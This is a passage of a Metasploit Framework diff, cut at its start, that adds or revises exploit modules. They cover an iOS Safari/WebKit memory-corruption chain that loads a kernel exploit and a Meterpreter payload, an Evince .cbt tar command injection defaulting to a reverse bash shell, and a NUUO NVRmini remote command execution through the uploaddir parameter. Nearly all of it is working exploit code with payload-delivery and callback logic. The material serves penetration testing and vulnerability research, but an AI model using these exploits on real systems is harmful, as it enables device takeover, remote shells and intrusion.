fail_with(Failure::UnexpectedReply, "Empty response. Please validate the RHOST and TARGETURI options and try again.")
|
||||
elsif res.code != 200
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code} response. Please validate the RHOST and TARGETURI options and try again.")
|
||||
end
|
||||
|
||||
body = res.body
|
||||
if body.match(/####sysconfig####/)
|
||||
parse_config(body)
|
||||
else body.include?"meta http-equiv=refresh content='0; url=/default.htm'"
|
||||
fail_with(Failure::NotVulnerable, "Response suggests device is patched")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -19,6 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'qwertyoruiop', # jbme.qwertyoruiop.com
|
||||
'siguza', # PhoenixNonce
|
||||
'tihmstar', # PhoenixNonce
|
||||
'benjamin-42', # Trident
|
||||
'timwr', # metasploit integration
|
||||
],
|
||||
'References' => [
|
||||
|
@ -34,6 +35,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
['URL', 'https://github.com/Siguza/PhoenixNonce'],
|
||||
['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'],
|
||||
['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'],
|
||||
['URL', 'https://github.com/benjamin-42/Trident'],
|
||||
['URL', 'http://blog.tihmstar.net/2018/01/modern-post-exploitation-techniques.html'],
|
||||
],
|
||||
'Arch' => ARCH_AARCH64,
|
||||
'Platform' => 'apple_ios',
|
||||
|
@ -48,250 +51,312 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
])
|
||||
end
|
||||
|
||||
def payload_url
|
||||
"tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Request from #{request['User-Agent']}")
|
||||
if request.uri =~ %r{/loader$}
|
||||
print_good("Target is vulnerable.")
|
||||
if request.uri =~ %r{/loader32$}
|
||||
print_good("armle target is vulnerable.")
|
||||
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit32" )
|
||||
loader_data = File.read(local_file, {:mode => 'rb'})
|
||||
srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)
|
||||
config = [srvhost, srvport].pack("Nn") + payload_url
|
||||
payload_url_index = loader_data.index('PAYLOAD_URL')
|
||||
loader_data[payload_url_index, config.length] = config
|
||||
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
|
||||
return
|
||||
elsif request.uri =~ %r{/loader64$}
|
||||
print_good("aarch64 target is vulnerable.")
|
||||
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" )
|
||||
loader_data = File.read(local_file, {:mode => 'rb'})
|
||||
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
|
||||
return
|
||||
elsif request.uri =~ %r{/exploit$}
|
||||
elsif request.uri =~ %r{/exploit64$}
|
||||
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" )
|
||||
loader_data = File.read(local_file, {:mode => 'rb'})
|
||||
payload_url = "tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
|
||||
payload_url_index = loader_data.index('PAYLOAD_URL')
|
||||
loader_data[payload_url_index, payload_url.length] = payload_url
|
||||
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
|
||||
print_status("Sent exploit (#{loader_data.size} bytes)")
|
||||
return
|
||||
elsif request.uri =~ %r{/payload32$}
|
||||
local_file = File.join( Msf::Config.data_directory, "mettle", "arm-iphone-darwin", "bin", "mettle.dylib" )
|
||||
payload_data = File.read(local_file, {:mode => 'rb'})
|
||||
send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})
|
||||
print_status("Sent payload (#{payload_data.size} bytes)")
|
||||
return
|
||||
end
|
||||
html = %Q^
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
function load_binary_resource(url) {
|
||||
var req = new XMLHttpRequest();
|
||||
req.open('GET', url, false);
|
||||
req.overrideMimeType('text/plain; charset=x-user-defined');
|
||||
req.send(null);
|
||||
return req.responseText;
|
||||
}
|
||||
var mem0 = 0;
|
||||
var mem1 = 0;
|
||||
var mem2 = 0;
|
||||
|
||||
function read4(addr) {
|
||||
function load_binary_resource(url) {
|
||||
var req = new XMLHttpRequest();
|
||||
req.open('GET', url, false);
|
||||
req.overrideMimeType('text/plain; charset=x-user-defined');
|
||||
req.send(null);
|
||||
return req.responseText;
|
||||
}
|
||||
|
||||
var pressure = new Array(400);
|
||||
var bufs = new Array(10000);
|
||||
|
||||
var fcp = 0;
|
||||
var smsh = new Uint32Array(0x10);
|
||||
|
||||
var trycatch = "";
|
||||
for(var z=0; z<0x4000; z++) trycatch += "try{} catch(e){}; ";
|
||||
var fc = new Function(trycatch);
|
||||
|
||||
function dgc() {
|
||||
for (var i = 0; i < pressure.length; i++) {
|
||||
pressure[i] = new Uint32Array(0xa000);
|
||||
}
|
||||
for (var i = 0; i < pressure.length; i++) {
|
||||
pressure[i] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
function swag() {
|
||||
if(bufs[0]) return;
|
||||
|
||||
dgc();
|
||||
|
||||
for (i=0; i < bufs.length; i++) {
|
||||
bufs[i] = new Uint32Array(0x100*2)
|
||||
for (k=0; k < bufs[i].length; )
|
||||
{
|
||||
bufs[i][k++] = 0x41414141;
|
||||
bufs[i][k++] = 0xffff0000;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var mem0=0;
|
||||
var mem1=0;
|
||||
var mem2=0;
|
||||
|
||||
function read4(addr) {
|
||||
mem0[4] = addr;
|
||||
var ret = mem2[0];
|
||||
mem0[4] = mem1;
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
|
||||
function write4(addr, val) {
|
||||
function write4(addr, val) {
|
||||
mem0[4] = addr;
|
||||
mem2[0] = val;
|
||||
mem0[4] = mem1;
|
||||
}
|
||||
filestream = load_binary_resource("exploit")
|
||||
var shll = new Uint32Array(filestream.length / 4);
|
||||
for (var i = 0; i < filestream.length;) {
|
||||
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
|
||||
shll[i / 4] = word;
|
||||
i += 4;
|
||||
}
|
||||
_dview = null;
|
||||
function u2d(low, hi) {
|
||||
}
|
||||
|
||||
_dview = null;
|
||||
function u2d(low, hi) {
|
||||
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
|
||||
_dview.setUint32(0, hi);
|
||||
_dview.setUint32(4, low);
|
||||
return _dview.getFloat64(0);
|
||||
}
|
||||
var pressure = new Array(100);
|
||||
var bufs = new Array(10000);
|
||||
dgc = function() {
|
||||
for (var i = 0; i < pressure.length; i++) {
|
||||
pressure[i] = new Uint32Array(0x10000);
|
||||
}
|
||||
for (var i = 0; i < pressure.length; i++) {
|
||||
pressure[i] = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function swag() {
|
||||
if (bufs[0]) return;
|
||||
for (var i = 0; i < 4; i++) {
|
||||
dgc();
|
||||
}
|
||||
for (i = 0; i < bufs.length; i++) {
|
||||
bufs[i] = new Uint32Array(0x100 * 2)
|
||||
for (k = 0; k < bufs[i].length;) {
|
||||
bufs[i][k++] = 0x41414141;
|
||||
bufs[i][k++] = 0xffff0000;
|
||||
}
|
||||
}
|
||||
}
|
||||
var trycatch = "";
|
||||
for (var z = 0; z < 0x2000; z++) trycatch += "try{} catch(e){}; ";
|
||||
var fc = new Function(trycatch);
|
||||
var fcp = 0;
|
||||
var smsh = new Uint32Array(0x10)
|
||||
|
||||
function smashed(stl) {
|
||||
document.body.innerHTML = "";
|
||||
var jitf = (smsh[(0x10 + smsh[(0x10 + smsh[(fcp + 0x18) / 4]) / 4]) / 4]);
|
||||
write4(jitf, 0xd28024d0); //movz x16, 0x126
|
||||
write4(jitf + 4, 0x58000060); //ldr x0, 0x100007ee4
|
||||
write4(jitf + 8, 0xd4001001); //svc 80
|
||||
write4(jitf + 12, 0xd65f03c0); //ret
|
||||
write4(jitf + 16, jitf + 0x20);
|
||||
write4(jitf + 20, 1);
|
||||
fc();
|
||||
var dyncache = read4(jitf + 0x20);
|
||||
var dyncachev = read4(jitf + 0x20);
|
||||
var go = 1;
|
||||
while (go) {
|
||||
if (read4(dyncache) == 0xfeedfacf) {
|
||||
for (i = 0; i < 0x1000 / 4; i++) {
|
||||
if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever
|
||||
{
|
||||
go = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
dyncache += 0x1000;
|
||||
}
|
||||
dyncache -= 0x1000;
|
||||
var bss = [];
|
||||
var bss_size = [];
|
||||
for (i = 0; i < 0x1000 / 4; i++) {
|
||||
if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) {
|
||||
bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000);
|
||||
bss_size.push(read4(dyncache + i * 4 + (0x28)));
|
||||
}
|
||||
}
|
||||
var shc = jitf;
|
||||
var filestream = load_binary_resource("loader")
|
||||
for (var i = 0; i < filestream.length;) {
|
||||
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
|
||||
write4(shc, word);
|
||||
shc += 4;
|
||||
i += 4;
|
||||
}
|
||||
jitf &= ~0x3FFF;
|
||||
jitf += 0x8000;
|
||||
write4(shc, jitf);
|
||||
write4(shc + 4, 1);
|
||||
// copy macho
|
||||
for (var i = 0; i < shll.length; i++) {
|
||||
write4(jitf + i * 4, shll[i]);
|
||||
}
|
||||
for (var i = 0; i < bss.length; i++) {
|
||||
for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) {
|
||||
write4(bss[i] + k * 4, 0);
|
||||
}
|
||||
}
|
||||
fc();
|
||||
}
|
||||
|
||||
function go_() {
|
||||
if (smsh.length != 0x10) {
|
||||
smashed();
|
||||
return;
|
||||
}
|
||||
dgc();
|
||||
function go_(){
|
||||
var arr = new Array(0x100);
|
||||
var yolo = new ArrayBuffer(0x1000);
|
||||
arr[0] = yolo;
|
||||
arr[1] = 0x13371337;
|
||||
var not_number = {};
|
||||
not_number.toString = function() {
|
||||
arr = null;
|
||||
props["stale"]["value"] = null;
|
||||
swag();
|
||||
return 10;
|
||||
arr = null;
|
||||
props["stale"]["value"] = null;
|
||||
swag();
|
||||
return 10;
|
||||
};
|
||||
|
||||
smsh[0] = 0x21212121;
|
||||
smsh[1] = 0x31313131;
|
||||
smsh[2] = 0x41414141;
|
||||
smsh[3] = 0x51515151;
|
||||
smsh[4] = 0x61616161;
|
||||
smsh[5] = 0x71717171;
|
||||
smsh[6] = 0x81818181;
|
||||
smsh[7] = 0x91919191;
|
||||
|
||||
var props = {
|
||||
p0: {
|
||||
value: 0
|
||||
},
|
||||
p1: {
|
||||
value: 1
|
||||
},
|
||||
p2: {
|
||||
value: 2
|
||||
},
|
||||
p3: {
|
||||
value: 3
|
||||
},
|
||||
p4: {
|
||||
value: 4
|
||||
},
|
||||
p5: {
|
||||
value: 5
|
||||
},
|
||||
p6: {
|
||||
value: 6
|
||||
},
|
||||
p7: {
|
||||
value: 7
|
||||
},
|
||||
p8: {
|
||||
value: 8
|
||||
},
|
||||
length: {
|
||||
value: not_number
|
||||
},
|
||||
stale: {
|
||||
value: arr
|
||||
},
|
||||
after: {
|
||||
value: 666
|
||||
}
|
||||
p0 : { value : 0 },
|
||||
p1 : { value : 1 },
|
||||
p2 : { value : 2 },
|
||||
p3 : { value : 3 },
|
||||
p4 : { value : 4 },
|
||||
p5 : { value : 5 },
|
||||
p6 : { value : 6 },
|
||||
p7 : { value : 7 },
|
||||
p8 : { value : 8 },
|
||||
length : { value : not_number },
|
||||
stale : { value : arr },
|
||||
after : { value : 666 }
|
||||
};
|
||||
|
||||
var target = [];
|
||||
var stale = 0;
|
||||
Object.defineProperties(target, props);
|
||||
stale = target.stale;
|
||||
stale[0] += 0x101;
|
||||
stale[1] = {}
|
||||
for (var z = 0; z < 0x1000; z++) fc();
|
||||
for (i = 0; i < bufs.length; i++) {
|
||||
for (k = 0; k < bufs[0].length; k++) {
|
||||
if (bufs[i][k] == 0x41414242) {
|
||||
stale[0] = fc;
|
||||
fcp = bufs[i][k];
|
||||
stale[0] = {
|
||||
'a': u2d(105, 0),
|
||||
'b': u2d(0, 0),
|
||||
'c': smsh,
|
||||
'd': u2d(0x100, 0)
|
||||
}
|
||||
stale[1] = stale[0]
|
||||
bufs[i][k] += 0x10; // misalign so we end up in JSObject's properties, which have a crafted Uint32Array pointing to smsh
|
||||
bck = stale[0][4];
|
||||
stale[0][4] = 0; // address, low 32 bits
|
||||
// stale[0][5] = 1; // address, high 32 bits == 0x100000000
|
||||
stale[0][6] = 0xffffffff;
|
||||
mem0 = stale[0];
|
||||
mem1 = bck;
|
||||
mem2 = smsh;
|
||||
bufs.push(stale)
|
||||
if (smsh.length != 0x10) {
|
||||
smashed(stale[0]);
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
setTimeout(function() {
|
||||
document.location.reload();
|
||||
}, 2000);
|
||||
}
|
||||
|
||||
dgc();
|
||||
setTimeout(go_, 200);
|
||||
if (stale.length != 0x41414141){
|
||||
location.reload();
|
||||
return;
|
||||
}
|
||||
|
||||
var obuf = new Uint32Array(2);
|
||||
obuf[0] = 0x41414141;
|
||||
obuf[1] = 0xffff0000;
|
||||
|
||||
stale[0] = 0x12345678;
|
||||
stale[1] = {};
|
||||
|
||||
for(var z=0; z<0x100; z++) fc();
|
||||
|
||||
for (i=0; i < bufs.length; i++) {
|
||||
var dobreak = 0;
|
||||
for (k=0; k < bufs[0].length; k++) {
|
||||
if (bufs[i][k] == 0x12345678) {
|
||||
if (bufs[i][k+1] == 0xFFFF0000) {
|
||||
stale[0] = fc;
|
||||
fcp = bufs[i][k];
|
||||
stale[0] = {
|
||||
'a': u2d(105, 0),
|
||||
'b': u2d(0, 0),
|
||||
'c': smsh,
|
||||
'd': u2d(0x100, 0)
|
||||
}
|
||||
stale[1] = stale[0];
|
||||
bufs[i][k] += 0x10;
|
||||
bck = stale[0][4];
|
||||
stale[0][4] = 0;
|
||||
stale[0][6] = 0xffffffff;
|
||||
mem0 = stale[0];
|
||||
mem1 = bck;
|
||||
mem2 = smsh;
|
||||
bufs.push(stale);
|
||||
if (smsh.length != 0x10) {
|
||||
var filestream = load_binary_resource("loader64");
|
||||
var macho = load_binary_resource("exploit64");
|
||||
r2 = smsh[(fcp+0x18)/4];
|
||||
r3 = smsh[(r2+0x10)/4];
|
||||
var jitf = smsh[(r3+0x10)/4];
|
||||
write4(jitf, 0xd28024d0); //movz x16, 0x126
|
||||
write4(jitf + 4, 0x58000060); //ldr x0, 0x100007ee4
|
||||
write4(jitf + 8, 0xd4001001); //svc 80
|
||||
write4(jitf + 12, 0xd65f03c0); //ret
|
||||
write4(jitf + 16, jitf + 0x20);
|
||||
write4(jitf + 20, 1);
|
||||
fc();
|
||||
var dyncache = read4(jitf + 0x20);
|
||||
var dyncachev = read4(jitf + 0x20);
|
||||
var go = 1;
|
||||
while (go) {
|
||||
if (read4(dyncache) == 0xfeedfacf) {
|
||||
for (i = 0; i < 0x1000 / 4; i++) {
|
||||
if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever
|
||||
{
|
||||
go = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
dyncache += 0x1000;
|
||||
}
|
||||
dyncache -= 0x1000;
|
||||
var bss = [];
|
||||
var bss_size = [];
|
||||
for (i = 0; i < 0x1000 / 4; i++) {
|
||||
if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) {
|
||||
bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000);
|
||||
bss_size.push(read4(dyncache + i * 4 + (0x28)));
|
||||
}
|
||||
}
|
||||
var shc = jitf;
|
||||
for (var i = 0; i < filestream.length;) {
|
||||
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
|
||||
write4(shc, word);
|
||||
shc += 4;
|
||||
i += 4;
|
||||
}
|
||||
jitf &= ~0x3FFF;
|
||||
jitf += 0x8000;
|
||||
write4(shc, jitf);
|
||||
write4(shc + 4, 1);
|
||||
// copy macho
|
||||
for (var i = 0; i < macho.length;i+=4) {
|
||||
var word = (macho.charCodeAt(i) & 0xff) | ((macho.charCodeAt(i + 1) & 0xff) << 8) | ((macho.charCodeAt(i + 2) & 0xff) << 16) | ((macho.charCodeAt(i + 3) & 0xff) << 24);
|
||||
write4(jitf+i, word);
|
||||
}
|
||||
for (var i = 0; i < bss.length; i++) {
|
||||
for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) {
|
||||
write4(bss[i] + k * 4, 0);
|
||||
}
|
||||
}
|
||||
fc();
|
||||
}
|
||||
} else if(bufs[i][k+1] == 0xFFFFFFFF) {
|
||||
stale[0] = fc;
|
||||
fcp = bufs[i][k];
|
||||
stale[0] = smsh;
|
||||
stale[2] = {'a':u2d(0x2,0x10),'b':smsh, 'c':u2d(0,0), 'd':u2d(0,0)}
|
||||
stale[0] = {'a':u2d(0,0x00e00600),'b':u2d(1,0x10), 'c':u2d(bufs[i][k+2*2]+0x10,0), 'd':u2d(0,0)}
|
||||
stale[1] = stale[0];
|
||||
bufs[i][k] += 0x10;
|
||||
var leak = stale[0][0].charCodeAt(0);
|
||||
leak += stale[0][1].charCodeAt(0) << 8;
|
||||
leak += stale[0][2].charCodeAt(0) << 16;
|
||||
leak += stale[0][3].charCodeAt(0) << 24;
|
||||
bufs[i][k] -= 0x10;
|
||||
stale[0] = {'a':u2d(leak,0x00602300), 'b':u2d(0,0), 'c':smsh, 'd':u2d(0,0)}
|
||||
stale[1] = stale[0];
|
||||
bufs[i][k] += 0x10;
|
||||
stale[0][4] = 0;
|
||||
stale[0][5] = 0xffffffff;
|
||||
bufs[i][k] -= 0x10;
|
||||
mem0 = stale[0];
|
||||
mem2 = smsh;
|
||||
if (smsh.length != 0x10) {
|
||||
setTimeout(function() {
|
||||
var filestream = load_binary_resource("loader32");
|
||||
r2 = smsh[(fcp+0x14)/4];
|
||||
r3 = smsh[(r2+0x10)/4];
|
||||
shellcode = (smsh[(r3+0x14)/4]&0xfffff000)-0x10000;
|
||||
smsh[shellcode/4] = 0;
|
||||
shellcode += 4;
|
||||
smsh[shellcode/4] = 0;
|
||||
shellcode += 4;
|
||||
smsh[shellcode/4] = 0;
|
||||
shellcode += 4;
|
||||
smsh[shellcode/4] = 0;
|
||||
shellcode += 4;
|
||||
for(var i = 0; i < filestream.length; i+=4) {
|
||||
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i+1) & 0xff) << 8) | ((filestream.charCodeAt(i+2) & 0xff) << 16) | ((filestream.charCodeAt(i+3) & 0xff) << 24);
|
||||
smsh[(shellcode+i)/4] = word;
|
||||
}
|
||||
smsh[(fcp+0x00)/4] = fcp+4;
|
||||
smsh[(fcp+0x04)/4] = fcp+4;
|
||||
smsh[(fcp+0x08)/4] = shellcode+1; //PC
|
||||
smsh[(fcp+0x30)/4] = fcp+0x30+4-0x18-0x34+0x8;
|
||||
|
||||
fc();
|
||||
}, 100);
|
||||
}
|
||||
} else {
|
||||
location.reload();
|
||||
}
|
||||
dobreak = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (dobreak) break;
|
||||
}
|
||||
location.reload();
|
||||
}
|
||||
|
||||
setTimeout(go_, 300);
|
||||
|
||||
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
|
@ -26,7 +26,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'References' =>
|
||||
[
|
||||
['URL', 'https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/'],
|
||||
['CVE', '2018-20323']
|
||||
['CVE', '2018-20323'],
|
||||
['CVE', '2018-1000999']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
|
|
|
@ -0,0 +1,108 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/zip'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Evince CBT File Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a command injection vulnerability in Evince
|
||||
before version 3.24.1 when opening comic book `.cbt` files.
|
||||
|
||||
Some file manager software, such as Nautilus and Atril, may allow
|
||||
automatic exploitation without user interaction due to thumbnailer
|
||||
preview functionality.
|
||||
|
||||
Note that limited space is available for the payload (<256 bytes).
|
||||
Reverse Bash and Reverse Netcat payloads should be sufficiently small.
|
||||
|
||||
This module has been tested successfully on evince versions:
|
||||
|
||||
3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6;
|
||||
3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Felix Wilhelm', # Discovery
|
||||
'Sebastian Krahmer', # PoC
|
||||
'Matlink', # Exploit
|
||||
'bcoles' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['BID', '99597'],
|
||||
['CVE', '2017-1000083'],
|
||||
['EDB', '45824'],
|
||||
['URL', 'https://seclists.org/oss-sec/2017/q3/128'],
|
||||
['URL', 'https://bugzilla.gnome.org/show_bug.cgi?id=784630'],
|
||||
['URL', 'https://bugzilla.suse.com/show_bug.cgi?id=1046856'],
|
||||
['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1735418'],
|
||||
['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1800662'],
|
||||
['URL', 'https://access.redhat.com/security/cve/cve-2017-1000083'],
|
||||
['URL', 'https://security-tracker.debian.org/tracker/CVE-2017-1000083']
|
||||
],
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 215,
|
||||
'BadChars' => "\x00\x0a\x0d\x22",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash',
|
||||
'DisablePayloadHandler' => true
|
||||
},
|
||||
'Targets' => [[ 'Automatic', {}]],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2017-07-13',
|
||||
'DefaultTarget' => 0))
|
||||
register_options([
|
||||
OptString.new('FILENAME', [true, 'The cbt document file name', 'msf.cbt'])
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
ext = %w[png jpg gif]
|
||||
path = " --checkpoint-action=exec=bash -c \"#{payload.encoded};\".#{ext.sample}"
|
||||
|
||||
# Tar archive max path length is 256.
|
||||
if path.length > 256
|
||||
fail_with Failure::PayloadFailed, "Payload is too large (#{path.length}): Max path length is 256 characters"
|
||||
end
|
||||
|
||||
# Tar archive max file name length is 100.
|
||||
path.split('/').each do |fname|
|
||||
if fname.length > 100
|
||||
fail_with Failure::PayloadFailed, "File name too long (#{fname.length}): Max filename length is 100 characters"
|
||||
end
|
||||
end
|
||||
|
||||
# Create malicious tar archive
|
||||
tarfile = StringIO.new
|
||||
Rex::Tar::Writer.new tarfile do |tar|
|
||||
tar.add_file path, 0644 do |io|
|
||||
io.write ''
|
||||
end
|
||||
# Pad file to 1+ MB to trigger tar checkpoint action
|
||||
tar.add_file rand_text_alphanumeric(10..20), 0644 do |io|
|
||||
io.write rand_text(1_000_000..1_100_000)
|
||||
end
|
||||
end
|
||||
tarfile.rewind
|
||||
cbt = tarfile.read
|
||||
|
||||
print_status "Writing file: #{datastore['FILENAME']} (#{cbt.length} bytes) ..."
|
||||
file_create cbt
|
||||
end
|
||||
end
|
|
@ -0,0 +1,87 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'NUUO NVRmini upgrade_handle.php Remote Command Execution',
|
||||
'Description' => %q{
|
||||
This exploits a vulnerability in the web application of NUUO NVRmini IP camera,
|
||||
which can be done by triggering the writeuploaddir command in the upgrade_handle.php file.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Berk Dusunur', # @berkdusunur
|
||||
'numan turle' # @numanturle
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.berkdusunur.net/2018/11/development-of-metasploit-module-after.html'],
|
||||
['URL', 'https://www.tenable.com/security/research/tra-2018-41'],
|
||||
['CVE', '2018-14933'],
|
||||
['EDB', '45070']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => %w{ unix win linux },
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [ ['NUUO NVRmini', { }], ],
|
||||
'DisclosureDate' => 'Aug 04 2018',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'upgrade_handle.php'),
|
||||
'vars_get' =>
|
||||
{
|
||||
'cmd' => 'writeuploaddir',
|
||||
'uploaddir' => "';echo '#{Rex::Text.rand_text_alphanumeric(10..15)}';'"
|
||||
}}
|
||||
)
|
||||
|
||||
unless res
|
||||
vprint_error 'Connection failed'
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.code == 200 && res.body =~ /upload_tmp_dir/
|
||||
return CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def http_send_command(cmd)
|
||||
uri = normalize_uri(target_uri.path.to_s, "upgrade_handle.php")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'vars_get' =>
|
||||
{
|
||||
'cmd' => 'writeuploaddir',
|
||||
'uploaddir' => "';"+cmd+";'"
|
||||
}}
|
||||
)
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Failed to execute the command.')
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def exploit
|
||||
http_send_command(payload.encoded)
|
||||
end
|
||||
end
|
|
@ -98,14 +98,22 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def get_offsets(user_agent)
|
||||
if user_agent =~ /Intel Mac OS X (.*?)\)/
|
||||
version = $1.gsub("_", ".")
|
||||
mac_osx_version = Gem::Version.new(version)
|
||||
osx_version = $1.gsub("_", ".")
|
||||
if user_agent =~ /Version\/(.*?) /
|
||||
if Gem::Version.new($1) >= Gem::Version.new('11.1.1')
|
||||
print_warning "Safari version #{$1} is not vulnerable"
|
||||
return false
|
||||
else
|
||||
print_good "Safari version #{$1} appears to be vulnerable"
|
||||
end
|
||||
end
|
||||
mac_osx_version = Gem::Version.new(osx_version)
|
||||
if mac_osx_version >= Gem::Version.new('10.13.4')
|
||||
print_warning "macOS version #{mac_osx_version} is not vulnerable"
|
||||
elsif mac_osx_version < Gem::Version.new('10.12')
|
||||
print_warning "macOS version #{mac_osx_version} is not vulnerable"
|
||||
elsif offset_table.key?(version)
|
||||
offset = offset_table[version]
|
||||
elsif offset_table.key?(osx_version)
|
||||
offset = offset_table[osx_version]
|
||||
return <<-EOF
|
||||
const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]};
|
||||
const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]};
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_apple_ios'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 795888
|
||||
CachedSize = 795860
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_apple_ios'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 795888
|
||||
CachedSize = 795860
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_apple_ios'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 795888
|
||||
CachedSize = 795860
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
